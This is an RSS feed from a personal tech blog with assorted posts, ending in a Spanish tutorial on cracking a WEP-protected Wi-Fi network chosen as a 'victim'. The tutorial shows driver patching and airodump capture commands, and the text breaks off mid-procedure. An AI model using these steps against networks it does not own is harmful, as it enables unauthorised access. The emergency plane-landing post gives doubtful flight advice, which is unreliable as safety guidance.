<p><code>/etc/modprobe.d/aliases</code></p>
<p>by adding the lines:</p>
<p><code>alias net-pf-10 ipv6 off<br />
alias net-pf-10 off<br />
alias ipv6 off</code></p>
<p>and commenting / removing the line:</p>
<p><code>alias net-pf-10 ipv6</code></p>
<p>This will speed up noticeably Internet applications, including Firefox and Google Earth.</p>
<h3>Firefox</h3>
<p>You can access quite a lot of network parameters in Firefox by typing in the address bar <em>about:config</em>. Once there, the following variables may be modified / added:</p>
<p><code>network.dns.disableIPv6 of the type boolean, set to true<br />
nglayout.initialpaint.delay of the type integer, set it to 10<br />
content.interrupt.parsing of the type boolean, set to true<br />
content.max.tokenizing.time of the type integer, set it to 8<br />
content.notify.backoffcount of the type integer, set it to -1<br />
content.notify.interval of the type integer, set it to 2<br />
content.notify.ontimer of the type boolean, set to true</code></p>
<p>For general tweaking in Firefox / IceWeasel / Swiftfox, <a href="http://ftp.iasi.roedu.net/mirrors/mozdev.org/fasterfox/fasterfox-2.0.1-fx.xpi">get FasterFox</a>, a very powerful extension that will greatly increase your browsing speed in these clients.</p>
<p>As for the system networking tweaking, this command will speed things up a bit:</p>
<p><code>perl -pi -e s/ipv6/off/ /etc/modprobe.d/aliases &amp;&amp; echo "net.ipv4.tcp_moderate_rcvbuf=0" >> /etc/sysctl.conf &amp;&amp; echo "net.ipv4.tcp_default_win_scale=0" >> /etc/sysctl.conf</code></p>
<h3>MTU</h3>
<p>The term Maximum Transmission Unit (MTU) refers to the size (in bytes) of the largest packet that a given layer of a communications protocol can pass onwards. MTU parameters usually appear in association with a communications interface (NIC, serial port, etc.). Adjusting MTU can improve your network experience, and in some cases even speed it up. You can adjust the MTU with the following command:</p>
<p><code>ifconfig [interface] mtu [value]</code></p>
<p>Where [interface] refers to your network interface (in my case, <em>ath0</em>) and [value] to the value you want to assign MTU. I&#8217;ve experienced that 1450 works fairly good in my box, so I adjusted:</p>
<p><code>ifconfig ra0 mtu 1450</code></p>
<h3>Checking /etc/resolv.conf</h3>
<p>Make sure that you <em>/etc/resolv.conf</em> file only has your DNS servers, in order to let the system access faster to them. In my case, I use OpenDNS, which I highly recommend, so my entire content of this file is:</p>
<p><code>nameserver 208.67.222.222<br />
nameserver 208.67.220.220</code></p>
<p>A corrupted <em>/etc/resolv.conf</em> file may cause several problems in DNS look up, so double-checking this file is more important than it seems to be, as far as some distributions add rubbish lines to this file.</p>
<h3>/etc/hosts</h3>
<p>The file <em>/etc/hosts</em> may content by default:</p>
<p><code>127.0.0.1 localhost<br />
127.0.1.1 [youhostname]</code></p>
<p>Replacing the previously lines with:</p>
<p><code>127.0.0.1 localhost [yourhostname]<br />
127.0.1.1 [yourhostname]</code></p>
<p>is believed to speed up applications launch which use network functions.</p>
<h3>Checking /etc/syctl.conf</h3>
<p>This are some values to optimize broadband settings, although <strong>they are not tested</strong></p>
<p><code>net.core.rmem_default = 524288<br />
net.core.rmem_max = 524288<br />
net.core.wmem_default = 524288<br />
net.core.wmem_max = 524288<br />
net.ipv4.tcp_wmem = 4096 87380 524288<br />
net.ipv4.tcp_rmem = 4096 87380 524288<br />
net.ipv4.tcp_mem = 524288 524288 524288<br />
net.ipv4.tcp_rfc1337 = 1<br />
net.ipv4.ip_no_pmtu_disc = 0<br />
net.ipv4.tcp_sack = 1<br />
net.ipv4.tcp_fack = 1<br />
net.ipv4.tcp_window_scaling = 1<br />
net.ipv4.tcp_timestamps = 1<br />
net.ipv4.tcp_ecn = 0<br />
net.ipv4.route.flush = 1</code></p>
<p>You have to reset your sysctl for these to take effect.</p>
<p><code>sudo sysctl -p</code></p>
<h2>Concluding&#8230;</h2>
<p>You have just made a lot of changes to your system. Re profiling your boot will reorganize it and make it faster on boots afterwards. For doing so, Reboot your PC. When you come to your grub list, hit escape to see your grub menu and edit the topmost line and add the word below to the end of it:</p>
<p><code>profile</code></p>
<p>One last reboot and you are done!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2007/05/23/intensive-linux-tweaking-and-optimization/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Enviar SMS gratis</title>
		<link>http://www.knithx.net/2007/02/28/enviar-sms-gratis/</link>
		<comments>http://www.knithx.net/2007/02/28/enviar-sms-gratis/#comments</comments>
		<pubDate>Wed, 28 Feb 2007 15:53:19 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2007/02/28/enviar-sms-gratis/</guid>
		<description><![CDATA[Sin gastar un céntimo.
Paso 1: Accede a tu página de google personalizada (es decir, logueado con tu correo).
Paso 2: Añade el servicio CallWave a tu página de Google Personalizada.
Paso 3: Edita las opciones: selecciona &#8220;International&#8221; como compañía e introduce tu número de teléfono y e-mail.
Ready!
(Basado en un artículo de Javi Moya - lo siento, uso [...]]]></description>
			<content:encoded><![CDATA[<p>Sin gastar un céntimo.</p>
<p><em>Paso 1:</em> Accede a <a href="http://www.google.com/ig">tu página de google personalizada</a> (es decir, logueado con tu correo).<br />
<em>Paso 2:</em> <a href="http://www.google.com/ig/add?moduleurl=http://www.callwave.com/widgets/googletextmessage.aspx&#038;source=imag">Añade el servicio CallWave</a> a tu página de Google Personalizada.<br />
<em>Paso 3:</em> Edita las opciones: selecciona &#8220;International&#8221; como compañía e introduce tu número de teléfono y e-mail.</p>
<p>Ready!</p>
<p><small>(Basado en un artículo de Javi Moya - lo siento, uso Linux)</small></p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2007/02/28/enviar-sms-gratis/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Peligros del oficio</title>
		<link>http://www.knithx.net/2007/02/13/peligros-del-oficio/</link>
		<comments>http://www.knithx.net/2007/02/13/peligros-del-oficio/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 20:48:31 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Mundo Real]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2007/02/13/peligros-del-oficio/</guid>
		<description><![CDATA[El otro día lei en un periódico un artículo titulado &#8220;Peligros del oficio&#8220;. Me pareció muy interesante, así que aquí van mis dos céntimos:
Es por todos conocido el bizarro morbo y protagonismo del que suelen hacer gala los asesinos en serie entre los medios de comunicación. Un protagonismo que, dejando aparte las consideraciones sobre las [...]]]></description>
			<content:encoded><![CDATA[<p>El otro día lei en un periódico un artículo titulado &#8220;<a href="http://www.almendron.com/tribuna/?p=13627">Peligros del oficio</a>&#8220;. Me pareció muy interesante, así que aquí van mis dos céntimos:</p>
<p>Es por todos conocido el bizarro morbo y protagonismo del que suelen hacer gala los asesinos en serie entre los medios de comunicación. Un protagonismo que, dejando aparte las consideraciones sobre las fechorías que cometen, margina en un segundo plano la identidad de las para todo el mundo ajenas y carentes de identidad víctimas.</p>
<p>Rosa Pereda nos expone de una forma cordial e inescrutable algunos de estos matones en serie que gustan de asesinar prostitutas anónimas sin protección o amparo por doquier. Es esa actitud de repetir el acto, firmar pudorosamente su pérfido modus-operandi, la chipa que desprende la posibilidad de cometer un error en el próximo atentado o la propia reflexión nerviosa de incertidumbre que causa el saber que va a volver a atacar lo que genera alrededor de estos criminales un aroma de simpatía y adoración aderezada con un toque repulsivo.</p>
<p><span id="more-350"></span></p>
<p>Las víctimas, desvinculadas unas entre otras, constan en los periódicos y demás informativos como una mera lista de la compra propia de estar arrugada en lo hondo de la marginación. Es una controversia que la muerte y la desgracia sea lo que el lector propicie a ignorar, dada la ajenidad que le provoca dicha colección de nombres inanimados entre los cuales no figura el suyo.</p>
<p>Me atrevería a comentar, y de esta manera darle una vez más la razón a la autora, la extraña relación que guardan todas estas muertes con el desprotegido oficio que desempeñan. Que todas las víctimas sean prostitutas puede sonar a cliché o inclusive a fetiche enfermizo, pero cabe tener en cuenta &#8220;los peligros del oficio&#8221; que el trabajo más antiguo del mundo conlleva. No nos olvidemos de que muchas de estas señoras son inmigrantes ilegales totalmente solas y desarraigadas de su ambiente social: es  esta peculiar situación la que despierta la sed de los asesinos en serie: carne fácil, muertes que no se echan de menos y, quien sabe, una falsa rebaja de culpabilidad y raciocinio por matar a quien están matando.</p>
<p>Prostitutas o no, Rosa Pereda da clausura a su sublime colaboración realizando un guiño a la violencia de género, tan común y rara dado nuestro progreso. La proliferación de actos de esta índole es propia de situarnos en la categoría de animales y bajo aquella línea que define lo cuerdo; hablando de inteligencia, la única prueba factible que tenemos de que existe vida extra terrestre es que nunca se han molestado en comunicarse con nosotros, visto lo visto. Por favor, abramos los ojos ante las calamidades que se nos presentan y tomemos conciencia de esas tímidas listas a las que pusilánimemente miramos con tanta ingenuidad.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2007/02/13/peligros-del-oficio/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cómo aterrizar un avion</title>
		<link>http://www.knithx.net/2006/12/27/como-aterrizar-un-avion/</link>
		<comments>http://www.knithx.net/2006/12/27/como-aterrizar-un-avion/#comments</comments>
		<pubDate>Wed, 27 Dec 2006 15:49:25 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2006/12/27/como-aterrizar-un-avion/</guid>
		<description><![CDATA[Bienvenidos a este friki-how-to donde se enseñará al intrépido lector como aterrizar un avión pequeño en caso de emergencia e incapacidad del comandante. De todos es conocido mi interés por los aviones, y como hacía mucho que no hablaba de ellos en este blog pues me paré a documentarme sobre como manejar un apareto de [...]]]></description>
			<content:encoded><![CDATA[<p>Bienvenidos a este <em>friki-how-to</em> donde se enseñará al intrépido lector como aterrizar un avión pequeño en caso de emergencia e incapacidad del comandante. De todos es conocido mi interés por los aviones, y como hacía mucho que no hablaba de ellos en este blog pues me paré a documentarme sobre como manejar un apareto de éstes en caso de emergencia. El artículo ha quedado cuanto menos curioso, aunque seguro que algún día también te salvará la vida. Vamos, no te quejes, acabas de notar que el avión hace movimientos extraños, y cual es tu sorpresa cuando al llegar a la cabina te encuentras con el comandante desfallecido chupando el panel de instrumentación. ¿Algún piloto abordo? Parece que no&#8230; ¿Pero con un lector de <em>knithx.net</em> nos vale no?</p>
<p>Bien, antes de nada y ya en la cabina, debemos de retirar el fallecido comandante de su sitio y tomar los mandos acomodándonos en su sitio.</p>
<p>Para comenzar, ponte los cascos y pide ayuda por radio (debe de haber un botón en el mando el cual pulsado nos permitirá hablar, y, una vez soltado, escuchar). Una buena forma de hacerlo sería decir algo como &#8220;Mayday, Mayday!&#8221; seguido de nuestra situación, destino y el número de serie del avíon, presente encima del panel de instrumentación. Si tienes tan mala suerte de no obtener respuesta, prueba a sintonizar la radio en 121.5, el canal de emergencia. Si aquí te contestan, la persona al habla debería de estar capacitada para darte las instrucciones necesarias para realizar un aterrizaje de emergencia. En caso contrario, deberás de hacerlo tú solo.</p>
<p>Si el vuelo acababa de despegar o estaba apunto de aterrizar, el avión debería de encontrarse bastante estable y volando en una línea casi recta, por lo que nos tomaremos un momento para identificar los instrumentos que tenemos alrededor nuestra:</p>
<p><span id="more-326"></span></p>
<p><img src="http://www.knithx.net/files/planepop.jpg" alt="Instrumental Panel" class="center" /></p>
<ul style="list-style-type: circle;">
<li><em>El mando (Yoke)</em>: básicamente, debería estar enfrente de tí y con el controlarías, mediante giros muy suaves, la inclinación horizontal de la nave (mediante giros dextrógiros o viceversa) y pulsándolo hacia delante o hacia a tí la elevación o el descenso del morro del avión. De esta forma, mantén el morro del avión unas tres pulgadas por debajo del horizonte.</li>
<li><em>Altímetro (Altimeter)</em>: el instrumento más importante por ahora, o al menos al principio. Es el dial rojo situado en el medio del panel que indica la altitud: la aguja pequeña lo indica en miles de pies sobre el nivel del mar, y la aguja grande, en cientos.</li>
<li><em>Nivelador (Heading)</em>: Es una brújula con una imágen de un avión en el centro que nos dará una posción relativa del morro frente al eje horizontal (horizonte) y vertical cartesiano.</li>
<li><em>Velocímetro (Airspeed)</em>: es el dial situado en la parte superior izquierda del panel, e indica, en nudos o millas por hora, la velocidad de crucero. Un avión pequeño suele volar a unos 120 nudos, y todo lo que se encuentre por debajo de 70 nudos por el aire tiende a pararse y/o caer.</li>
<li><em>Acelerador (Throttle)</em>: controla la velocidad de la aeronave, y también la inclinación del morro sobre el horizonte. Es una palanca siempre negra situada entre los dos asientos de la cabina. Tirando de ella hacia atrás haremos que el avión decelere y consecuentemente descienda, y por el contrario, empujándola hacia delante haremos que la nave acelere y ascienda. El motor hará más o menos ruido según la posición del acelerador.</li>
<li><em>Combustible (Fuel)</em>: El nivel de combustible estará indicado en otro dial en la parte inferior del panel de instrumental. Si el piloto respetó las normas de la FAA, el avión tendrá el suficiente combustible para realizar el vuelo programado más una cantidad adicional de reserva que nos dará un margen de media hora respecto a lo estipulado.</li>
<li><em>Alerones (flaps)</em>: Dada su complejidad, los alerones de las alas pueden hacernos el aterrizaje incluso más complicado. Usaremos el acelerador para controlar el descenso en vez de los alerones.</li>
</ul>
<p>Bien, parece que ahora conocemos más o menos lo que nos rodea; comencemos el descenso: tira para atrás del acelerador un cuarto de la velocidad inicial para decelerar la nave lo suficiente como para situar la nave en la posición correcta para aterrizar (unas cuatro pulgadas por debajo del horizonte).</p>
<p>Si el avión tiene tren de aterrizaje fijo, no nos tendremos que preocupar de bajarlo. En cambio, si lo tiene retráctil, hemos de buscar un interruptor cerca del acelerador entre los dos asientos para sacar el mismo. Si planeas aterrizar en agua, déjalo subido.</p>
<p>Busca un lugar lógico para efectuar el aterrizaje. Si no encuentras un areopuerto, un campo o similar de un kilómetro de longitud sería ideal, aunque en la práctica encontrar algo así es muy dificil, por lo que has de valerte de una zona menos preparada. Las zonas boscosas, desiguales o blandas son una buena opción. En caso de haber árboles, usa las alas contra ellos para reducir drásticamente la velocidad de aterrizaje.</p>
<p>Una vez localizado el lugar a aterrizar, a unos 1000 pies de altura, alinea el ala derecha con la pista de aterrizaje, de modo que antes de aterrizar traces un gran rectángulo para disminuir la velocidad del avión, echar un vistazo para localizar obstrucciones y alinearse de una forma definitiva y perpendicular a la pista. Una vez encarado, tira del acelerador para disminuir la velocidad y dejar que el morro descienda un poco, aunque no más de seis pulgadas respecto al horizonte.</p>
<p>El avión debería de estar a unos 100 pies de altura una vez nos encontremos justo encima de la pista de aterrizaje, y el contacto con el suelo debería de efectuarse en primera instancia con las ruedas traseras del tren de aterrizaje. La velocidad del avión ideal en la toma de tierra debería de ser de unas 55-65 millas por hora. Dada esta situación de proximidad a la pista de aterrizaje, tira todo lo que puedas del acelerador para disminuir la velocidad pero teniendo cuidado de forma que el morro no decaiga de una forma muy abrupta y choque contra el suelo.</p>
<p>¡Contacto! Hora de usar los pedales y olvidarte del mando (en tierra, posee un efecto casi nulo). Los pedales superiores son los frenos, y los inferiores controlan la dirección de las ruedas, lo que vendría siendo el giro del propio avión. En primer lugar, nos preocuparemos de enderezar la nave con los pedales inferiores, para después usar los frenos lo más que podamos para reducir la velocidad en tierra de 120 a unas 70 millas por hora.</p>
<p>Una vez el avión se pare, sal de él y aléjate cuanto antes. Si sigues vivo una vez hecho todo lo anterior, <strong>enhorabuena</strong>, lo has conseguido.</p>
<p>Traducido por knithx del original &#8220;<a href="http://www.worstcasescenarios.com/scenario.htm?scenarioid=7">Worst Case Scenarios</a>&#8220;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2006/12/27/como-aterrizar-un-avion/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sobrada de links (I)</title>
		<link>http://www.knithx.net/2006/09/19/links-collection-volume-i/</link>
		<comments>http://www.knithx.net/2006/09/19/links-collection-volume-i/#comments</comments>
		<pubDate>Mon, 18 Sep 2006 23:50:04 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2006/09/19/links-collection-volume-i/</guid>
		<description><![CDATA[¿Quieres colaborar con tu sobrada de links? Pásteanos tus marcadores de la siguiente forma exportándolos con firefox:
Firefox - Marcadores - Administrar marcadores
Archivo - Exportar
De esta manera obtendrás un archivo html, cuyo código fuente podrás pastear en los comentarios de este post.
Ahí va mi primera sobrada de links, que los disfruteis:

Ovnis, sombreros y nubes: Historia de [...]]]></description>
			<content:encoded><![CDATA[<p>¿Quieres colaborar con tu sobrada de links? Pásteanos tus marcadores de la siguiente forma exportándolos con firefox:</p>
<p><code>Firefox - Marcadores - Administrar marcadores</code><br />
<code>Archivo - Exportar</code></p>
<p>De esta manera obtendrás un archivo <code>html</code>, cuyo código fuente podrás pastear en los comentarios de este post.<br />
Ahí va mi primera sobrada de links, que los disfruteis:</p>
<p><span id="more-269"></span></p>
<p><a href="http://charlatanes.blogspot.com/2006/09/ovnis-sombreros-nubes-y-desvergenza.html">Ovnis, sombreros y nubes</a>: Historia de OVNIS.</p>
<p><a href="http://www.strictlycss.com/articles/article/40/the-only-css-layout-you-need">The Only CSS Layout you need</a>: Buen template CSS.</p>
<p><a href="http://vhm-design.com/">VHM-Design</a>: Impresionantes Ilustraciones</p>
<p><a href="http://www.myfonts.com/WhatTheFont/">What the Font?</a>: Identifica fuentes que ves en imágenes.</p>
<p><a href="http://www.seomoz.org/blogdetail.php?ID=1347">21 ways to increase your traffic</a>: Por si no apareces en Digg.</p>
<p><a href="http://gaussianos.blogsome.com/2006/07/28/raices-cubicas-de-memoria/">Hacer raíces cúbicas de memoria</a>: Para impresionar a tu profe.</p>
<p><a href="http://msig.info/web2.php">Web 2.0 logo generator</a>: Beta!</p>
<p><a href="http://www.photoshop-designs.com/foro/viewtopic.php?t=4212">Tutoriales de Photoshop</a>: A montones.</p>
<p><a href="http://gh.ffshrine.org/soundtracks/3298">F-Zero X OST</a>: Una de las mejores BSO de videojuegos.</p>
<p><a href="http://www.youtube.com/watch?v=lawkc3jH3ws">XGL</a>: The Future is NOW!</p>
<p><a href="http://www.goear.com/listen.php?v=df8d7af">ESDLA: Un par de Torres</a>: Resumen accesible.</p>
<p><a href="http://www.noenemies.com/7-ways-to-speed-up-your-linux-desktop/">7 Ways to Speed Up Your Linux Desktop</a>: O cómo instalar Fluxbox.</p>
<p><a href="http://www.glumbert.com/media/ddrsuperstar">Dance Dance!</a>: Modo pro On.</p>
<p><a href="http://kottke.org/">Kottke</a>: Weblog de diseño.</p>
<p><a href="http://www.eweek.com/article2/0,1759,2016415,00.asp?kc=EWRSS03119TX1K0000594">10 lenguajes que aprender</a>: Hoy por hoy.</p>
<p><a href="http://www.icculus.org/lgfaq/gamelist.php?license=free">Linux&#8217;s Games</a>: A jugar!</p>
<p><a href="http://youtube.com/watch?v=cNzUy5xAg1Y">Strong Man</a>: Squish your Head.</p>
<p><a href="http://guy-sports.com/fun_pictures/PlaneParallelSmaller.jpg">Aviones Paralelos</a>: Ilusión óptica (d=200m)</p>
<p><a href="http://www.deviantart.com/view/17908194/">Powerdraw</a>: No subestimes el Paint.</p>
<p><a href="http://www.crisscross.com/jp/forum/Worlds_worst_hacker%25_IRC_t%20ranscript/m_422436/tm.htm">El peor Hacker del mundo</a>: Transcripción IRC</p>
<p><a href="http://www.alsacreations.fr/mp3-dewplayer.html">Lector de Mp3 flash</a>: Ideal para web-podcasting.</p>
<p><a href="http://video.google.com/videoplay?docid=-5177213949300140850">BumpKey</a>: Como abrir cerraduras.</p>
<p><a href="http://www.screwthescrew.com/video.php?video_id=286">Dominó Humano</a>: Genial spot.</p>
<p><a href="http://onlineclock.net/">OnlineClock:</a> Usa tu PC como despertador.</p>
<p><a href="http://refugioantiaereo.blogspot.com/2006/08/emc2-la-teora-de-einstein-explicada.html">E=mc2</a>: Explicada.</p>
<p><a href="http://video.google.com/videosearch?q=dick+hoyt">Dick Hoyt</a>: Historia de padre e hijo.</p>
<p><a href="http://www.scrapetorrent.com/index.php">ScrapeTorrent</a>: Todos para un torrent, y un torrent para todos.</p>
<p><a href="http://www.dgx.cz/trine/item/how-to-correctly-insert-a-flash-into-xhtml">Flash+XHTML</a>: como insertar Flash en XHTML correctamente.</p>
<p><a href="http://www.turkeyfarm.net/blog/2006/06/22/cracking-wep-with-linux-actually-works/">Cracking WEP</a>: Con Linux.</p>
<p><a href="http://216.70.117.172/me_english.htm">Miniature Earth</a>: El mundo reducido a 100 personas.</p>
<p><a href="http://www.lynucs.org/">Lynucs</a>: Un screen-show.</p>
<p><a href="http://www.devlisting.com/">DeveloperList</a>: Montones de resources para programadores.</p>
<p><a href="http://www.genciencia.com/2006/08/26-p-versus-np-nunca-lo-entend.php">P vs NP</a>: ¿Nunca lo entendiste?</p>
<p><a href="http://www.psicoactiva.com/enigmas.htm">Enigmas</a>: Para darle al coco.</p>
<p><a href="http://www.lovepixel.idv.tw/">LovePixel</a>: Enorme ciudad pixelada.</p>
<p><a href="http://aula.elmundo.es/aula/especiales/2006/50carreras/index.html">50 carreras</a>: Y dónde estudiarlas.</p>
<p><a href="http://www.babeversusbabe.com/">Babe VS Babe</a>: que gane la mejor.</p>
<p><a href="http://lug.oregonstate.edu/projects/kernelmap/map.php">Kernel Map</a>: Diagrama explicativo de la estructura interna del kernel.</p>
<p><a href="http://www.cssplay.co.uk/menu/menu_gallery.html">CSS Gallery</a>: Impresionante galería CSS.</p>
<p><a href="http://www.ss64.com/bash/index.html">Linux Commands</a>: Hoja de referencia.</p>
<p><a href="http://9rules.com/blog/2006/08/a-gradient-tutorial/">El arte de los gradientes</a>: En Photoshop.</p>
<p><a href="http://video.google.com/videoplay?docid=1761062858590826090">Tiannamen Massacre</a>: Never forget.</p>
<p><a href="http://ubuntuforums.org/showthread.php?t=205865">Get a beautiful Conky</a>: Que monitoree su PC.</p>
<p><a href="http://wvs.topleftpixel.com/archives/photos_landscape/060828_1662.shtml">Toronto Time Lapse</a>: Una de las obras maestras de Sam J.</p>
<p><a href="http://www.hackingdefined.com/index.php/Demos">HackingDefined</a>: Vídeos instructivos.</p>
<p><a href="http://youtube.com/watch?v=NtqUbk-7XVc">El gañan!</a>: En la CP2006.</p>
<p><a href="http://www.milgatos.com/blog/?p=263">Los 10 sitios más raros del mundo</a>: A los que la gente va.</p>
<p><a href="http://www.cse.ucsd.edu/users/dasgupta/mcgrawhill/">Algoritmos:</a> Libro gratuito.</p>
<p><a href="http://www.sodaplay.com/constructor/how/start.htm">SodaPlay</a>: Crea tus pequeños robots.</p>
<p><a href="http://www.pronetadvertising.com/articles/my-50-favorite-design-resources.html">Resources Web</a>: Y más&#8230;</p>
<p><a href="http://usuarios.lycos.es/seelowe/Infanteria/Infanteria-general.htm">Armas de la segunda guerra mundial</a>: Incluídas todas las del DoD.</p>
<p><a href="http://skatox.co.ve/blog/">Blog de Skatox:</a>: Linuxero.</p>
<p><a href="http://www.599productions.com/599/HD%20Media.html">HD Media</a>: High Definition.</p>
<p><a href="http://www.mia-kirshner.com/">Mia Kirshner</a>: Belleza pura.</p>
<p><a href="http://sonique6784.blogspot.com/2006/08/xgl-on-debian-with-ati-video-card-and.html#links">XGL HowTo: 1</a>: 1.</p>
<p><a href="http://www.tectonic.co.za/view.php?id=1153">XGL HowTo: 2</a>: 2.</p>
<p><a href="http://www.compiz.net/viewtopic.php?id=389">XGL HowTo: 3</a>: 3.</p>
<p><a href="http://interfacelift.com/wallpaper/index.php?w=1920&#038;h=1200&#038;sort=ratings&#038;id=&#038;page=1">Wallpapers</a>: De alta resolución.</p>
<p><a href="http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html">Penetration Test</a>: Guía del Hacker.</p>
<p><a href="http://www.linuxjournal.com/article/9065?">Linux Timeline</a>: Historia del SO.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.knithx.net/2006/09/19/links-collection-volume-i/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Crackeando conexiones Wireless protegidas con claves WEP en Linux (chipset Atheros)</title>
		<link>http://www.knithx.net/2006/09/05/crackeando-conexiones-wireless-protegidas-con-claves-wep-en-linux-chipset-atheros/</link>
		<comments>http://www.knithx.net/2006/09/05/crackeando-conexiones-wireless-protegidas-con-claves-wep-en-linux-chipset-atheros/#comments</comments>
		<pubDate>Tue, 05 Sep 2006 14:56:40 +0000</pubDate>
		<dc:creator>knithx</dc:creator>
		
		<category><![CDATA[Artículos]]></category>

		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.knithx.net/2006/09/05/crackeando-conexiones-wireless-protegidas-con-claves-wep-en-linux-chipset-atheros/</guid>
		<description><![CDATA[En el presente artículo se describirá el procedimiento necesario para conseguir la clave WEP de una conexión inalámbrica, la cual, teóricamente y en un principio, desconocemos.
En cuanto al hardware necesario por nuestra parte, necesitaremos un adaptador inalámbrico con soporte nativo en Linux (en este tutorial trabajaremos con el chipset Atheros), además de que funcione en [...]]]></description>
			<content:encoded><![CDATA[<p>En el presente artículo se describirá el procedimiento necesario para conseguir la clave WEP de una conexión inalámbrica, la cual, teóricamente y en un principio, desconocemos.</p>
<p>En cuanto al hardware necesario por nuestra parte, necesitaremos un adaptador inalámbrico con soporte nativo en Linux (en este tutorial trabajaremos con el chipset Atheros), además de que funcione en modo monitor. Para evitarte problemas, intenta comprar <a href="http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy">una de estas tarjetas</a>.</p>
<p><span id="more-253"></span></p>
<p>Necesitaremos unos cuantos paquetes y utilerías, fácilmente instalables si usas Debian o derivados mediante apt-get: <code>apt-get install build-essential aircrack kismet airsnort linux-source linux-headers sharutils</code>.</p>
<p>Para asegurarte de que dispones de todos los paquetes, añade o sustituye (aunque sea de forma temporal) las líneas que tengas en el contenido del archivo <code>/etc/apt/sources.list</code></p>
<blockquote><p>
<code>## Add comments (##) in front of any line to remove it from being checked.</code><br />
<code>## Use the following sources.list at your own risk.</code><br />
<code>deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse</code><br />
<code>deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse</code></p>
<p><code>## MAJOR BUG FIX UPDATES produced after the final release</code><br />
<code>deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse</code><br />
<code>deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse</code><br />
<code>## UBUNTU SECURITY UPDATES</code><br />
<code>deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse</code><br />
<code>deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse</code></p>
<p><code>## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)</code><br />
<code>deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse</code><br />
<code>deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse</code></p>
<p><code>## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)</code><br />
<code>deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free</code><br />
<code>deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free</code>
</p></blockquote>
<p>Antes de empezar, necesitaremos parchear los drivers Atheros de nuestro adaptador inalámbrico, para que el mismo funcione en modo monitor y sea compatible con la totalidad de las aplicaciones de auditoría que utilizaremos más adelante:</p>
<blockquote><p>
<code>sudo -i</code></p>
<p><code>cd /usr/src</code><br />
<code><span>wget</span> http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz</code><br />
<code><span>wget</span> http://syserr.com/stuff/madwifi-cvs-20051025.patch</code></p>
<p><code>ifconfig ath0 down</code><br />
<code>rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal</code><br />
<code>find /lib/modules -name ‘ath*’ -exec rm -v {} \;</code><br />
<code>find /lib/modules -name ‘wlan*’ -exec rm -v {} \;</code></p>
<p><code>tar zxvf madwifi-cvs-20051025.tar.gz</code><br />
<code>cd madwifi</code><br />
<code>patch -Np1 -i ../madwifi-cvs-20051025.patch</code><br />
<code>make &#038;&#038; make install</code></p>
<p><code>modprobe ath_pci</code>
</p></blockquote>
<h3>Empezamos a crackear</h3>
<p>Para empezar, tenemos que seleccionar nuestra víctima. Para ello, utilizaremos una de las utilerías que nos descargamos previamente, llamada <code>kismet</code>. Cabe decir que antes de arrancar dicho programa, tenemos que editar el archivo de configuración <code>/etc/kismet/kismet.conf</code>, cambiando la línea <code>source=</code> por <code>source=madwifi_ag,ath0,madwifi</code>. Una vez hecho el cambio, debemos entrar en modo monitor (ejecutando <code>airmon start ath0</code>), arrancar <code>kismet</code> y seleccionar nuestra víctima en la lista de redes alcanzables que se nos muestra. Una vez elegida, debemos apuntar el <code>essid</code> (nombre de la conexión) y el <code>channel #</code> (canal en el que transmite).</p>
<p>Lo siguiente es empezar a capturar tráfico con <code>airodump</code>, en especial unos paquetes llamados <code>IV's</code>, que, en grandes cantidades (de 100.000 a 1.000.000) nos permitirán extraer la clave WEP. La sintaxis para arrancar <code>airodump</code> es la siguiente: <code>airodump ath0 filename channel# 1</code>, donde <code>filename</code> es el archivo donde se guardará el tráfico capturado y <code>channel#</code> el canal anteriormente anotado. Dejamos <code>airodump</code> abierto.</p>
